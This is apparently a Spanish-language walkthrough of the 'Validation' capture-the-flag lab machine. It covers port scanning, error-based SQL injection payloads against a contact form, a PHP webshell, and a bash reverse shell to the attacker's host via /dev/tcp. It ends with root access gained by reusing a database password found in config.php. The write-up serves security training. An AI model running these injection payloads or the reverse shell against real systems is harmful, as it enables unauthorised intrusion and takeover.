Entrada

Validation

Validation

Skills

  • SQLI (Error Based)
  • SQLI -> RCE (INTO OUTFILE)
  • Information Leakage

Certificaciones

  • eJPT
  • eWPT

Descripción

Validarion es una máquina easy linux donde estaremos vulnerando la máquina a través de una sql injection into outfile encontrada en su página web, obtendremos acceso a la máquina víctima mediante la creación de un archivo .php que nos permitirá ejecución de comandos, escalaremos privilegios debido a información privilegiada encontrada en un archivo de configuración


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
# ping 10.129.95.235 
PING 10.129.95.235 (10.129.95.235) 56(84) bytes of data.
64 bytes from 10.129.95.235: icmp_seq=1 ttl=63 time=58.1 ms
^C
--- 10.129.95.235 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 58.104/58.104/58.104/0.000 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.95.235 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 11:51 CEST
Initiating SYN Stealth Scan at 11:51
Scanning 10.129.95.235 [65535 ports]
Discovered open port 8080/tcp on 10.129.95.235
Discovered open port 22/tcp on 10.129.95.235
Discovered open port 80/tcp on 10.129.95.235
Discovered open port 4566/tcp on 10.129.95.235
Completed SYN Stealth Scan at 11:52, 13.45s elapsed (65535 total ports)
Nmap scan report for 10.129.95.235
Host is up (0.15s latency).
Not shown: 65522 closed tcp ports (reset), 9 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
4566/tcp open  kwtc
8080/tcp open  http-proxy

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.57 seconds
           Raw packets sent: 65966 (2.903MB) | Rcvd: 65990 (2.640MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# nmap -sCV -p22,80,4566,8080 10.129.95.235 -oN services                     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 11:53 CEST
Nmap scan report for 10.129.95.235
Host is up (0.087s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.22 seconds

Web Enumeration

Nos dirigimos a la página web y se visualiza lo siguiente:

Cuando añadimos un username vemos esto en la ruta /contact.php

He testeado una inyección sql en la parte del username pero no ha dado resultado, sin embargo, al probarla en la parte del country si que nos ha devuelto un error, por lo tanto estamos antes una sql injection error based

Ahora vemos que no se ve el error

1
# username=test&country=Brazil'

Nos encontramos ante una sola columna, debido a que si hacemos un order by 2 nos da error

1
# username=test&country=Brazil' order by 1-- - 

Identificamos la versión y el tipo base de datos a la que nos enfrentamos

1
# username=test&country=Brazil' union select version()-- - 

Vemos la base de datos sobre la que estamos realizando la inyección, es decir la que se está utilizando

1
# username=test&country=Brazil' union select database()-- - 

Listamos todas las bases de datos

1
# username=test&country=Brazil' union select schema_name from information_schema.schemata-- - 

Listamos el nombre de todas las tablas que pertenecen a la base de datos registration

1
# username=test&country=Brazil' union select table_name from information_schema.tables where table_schema='registration'-- - 

Listamos todas las columnas para la base de datos registration y la tabla registration

1
# username=test&country=Brazil' union select column_name from information_schema.columns where table_schema='registration'-- - 

Comprobamos si hay algo interesante en las tablas username y userhash, pero no encontramos nada

Usando wfuzz hemos encontrado la ruta /config.php, si conseguimos ganar acceso a la máquina víctima quizá en este archivo exista información interesante

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# wfuzz -c -t100 --hc 404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.95.235/FUZZ.php
 /home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.95.235/FUZZ.php
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000001:   200        268 L    747 W      16088 Ch    "# directory-list-2.3-medium.txt"                                                                                     
000000003:   200        268 L    747 W      16088 Ch    "# Copyright 2007 James Fisher"                                                                                       
000000007:   200        268 L    747 W      16088 Ch    "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                     
000000013:   200        268 L    747 W      16088 Ch    "#"                                                                                                                   
000000015:   200        268 L    747 W      16088 Ch    "index"                                                                                                               
000000012:   200        268 L    747 W      16088 Ch    "# on at least 2 different hosts"                                                                                     
000000011:   200        268 L    747 W      16088 Ch    "# Priority ordered case-sensitive list, where entries were found"                                                    
000000010:   200        268 L    747 W      16088 Ch    "#"                                                                                                                   
000000006:   200        268 L    747 W      16088 Ch    "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                       
000000009:   200        268 L    747 W      16088 Ch    "# Suite 300, San Francisco, California, 94105, USA."                                                                 
000000008:   200        268 L    747 W      16088 Ch    "# or send a letter to Creative Commons, 171 Second Street,"                                                          
000000004:   200        268 L    747 W      16088 Ch    "#"                                                                                                                   
000000005:   200        268 L    747 W      16088 Ch    "# This work is licensed under the Creative Commons"                                                                  
000000349:   200        0 L      2 W        16 Ch       "account"                                                                                                             
000000002:   200        268 L    747 W      16088 Ch    "#"                                                                                                                   
000001490:   200        0 L      0 W        0 Ch        "config"                                                                                                              

Total time: 216.6545
Processed Requests: 220560
Filtered Requests: 220544
Requests/sec.: 1018.026

Intrusión

Al acceder a la ruta /config.php no vemos nada porque el código php está siendo interpretado, sin embargo, podemos ver si a través de la inyección sql tenemos permisos de escritura, si es así podremos inyectar código php en algún archivo de esa ruta y ganar acceso a la máquina víctima

Efectivamente ha funcionado, al acceder a http://10.129.250.24/shell.php?cmd=whoami comprobamos que tenemos ejecución de comandos

Por lo tanto vamos a mandarnos una reverse shell a nuestro equipo, lo primero es ponernos en escucha mediante netcat por el puerto 443

1
# nc -nlvp 443

Nos mandamos una reverse shell a nuestro equipo

1
# http://10.129.250.24/shell.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.16.15/443 0>%261"

Una vez en la máquina víctima vamos a realizar un tratamiento a la TTY

1
2
3
4
5
# nc -nlvp 443 
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.250.24] 43028
sh: 0: can't access tty; job control turned off
$ 

Obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 183

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Ya tenemos un consola completamente interactiva

1
2
www-data@validation:/var/www/html$ whoami
www-data

Privilege Escalation

Lo siguiente que hacemos es inspeccionar el config.php que hemos encontrado y encontramos las credenciales del usuario uhc a la base de datos

1
2
3
4
5
6
7
8
9
www-data@validation:/var/www/html$ cat config.php 
<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

Al inspeccionar el /etc/passwd nos damos cuenta que el único usuario que hay posible es root, así que probamos la contraseña uhc-9qual-global-pw para convertirnos en usuario root y funciona

1
2
3
4
www-data@validation:/var/www/html$ su root
Password: 
root@validation:/var/www/html# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.